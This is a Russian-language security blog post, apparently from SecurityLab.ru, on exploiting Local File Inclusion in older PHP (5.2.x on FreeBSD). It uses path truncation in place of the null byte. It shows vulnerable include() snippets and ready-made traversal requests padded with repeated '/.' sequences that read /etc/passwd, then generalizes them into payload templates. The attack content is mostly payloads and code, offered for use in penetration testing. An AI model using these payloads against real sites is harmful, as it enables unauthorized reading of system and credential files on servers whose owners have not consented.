Использование замены null-byte в реальных условиях
Проводя тестирования на проникновение в отношении Web-приложений, построенных на PHP, такая полезная особенность интерпретатора, как альтернатива символу конца строки (0), уже неоднократно позволяла успешно провести атаку типа Local File Including (LFI). На фоне этого появились некоторые наработки эксплуатации LFI c использованием метода по обходу null-byte [ 1 , 2 , 3 ].
Примеры разберем на up to date системе FreeBSD (7.2-RELEASE-p3) с php (5.2.10 with Suhosin-Patch 0.9.7).
<? include("q/".$_GET['f'].".txt"); ?>
Для выполнения атаки работает: /?f=../../../../../etc/passwd/.[N]/.
, где /.[N]/. - repeat("/.", 487)
<? include("qq/".$_GET['f'].".txt"); ?>
Предыдущий URL не позволит получить /etc/passwd. Но такой запрос успешно отработает:
/?f=/../../../../../etc/passwd/.[N]/.
<? include("qqq/".$_GET['f'].".txt"); ?>
Аналогично, предыдущий URL не позволит получить доступ к файлу. Сработает первый запрос: /?f=../../../../../etc/passwd/.[N]/.
и т.д. То есть, существует прямая зависимость между началом запросов выхода за каталог "../" и "/../" (кратная двум) от начала поступающих данных в функцию include(),require(), etc.
Другой пример кода:
<? include($_GET['f'].".txt"); ?>
Предыдущие запросы идут лесом. Отработает следующий URL:
/?f=non/../../../../../etc/passwd/.[N]/.
Таким образом, при эксплуатации LFI с использованием метода по обходу null-byte могут использоваться следующие запросы: "any/../file[N]", или "../../file[N]", или "/../../file[N]", где [N] замена null-byte, характерная для атакуемой ОС.
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.
Что с нашим NGFW? Ответы — 14 апреля в Кибердоме
Конференцию откроет сессия с участием Минцифры, где оценят конкурентоспособность NGFW-решений.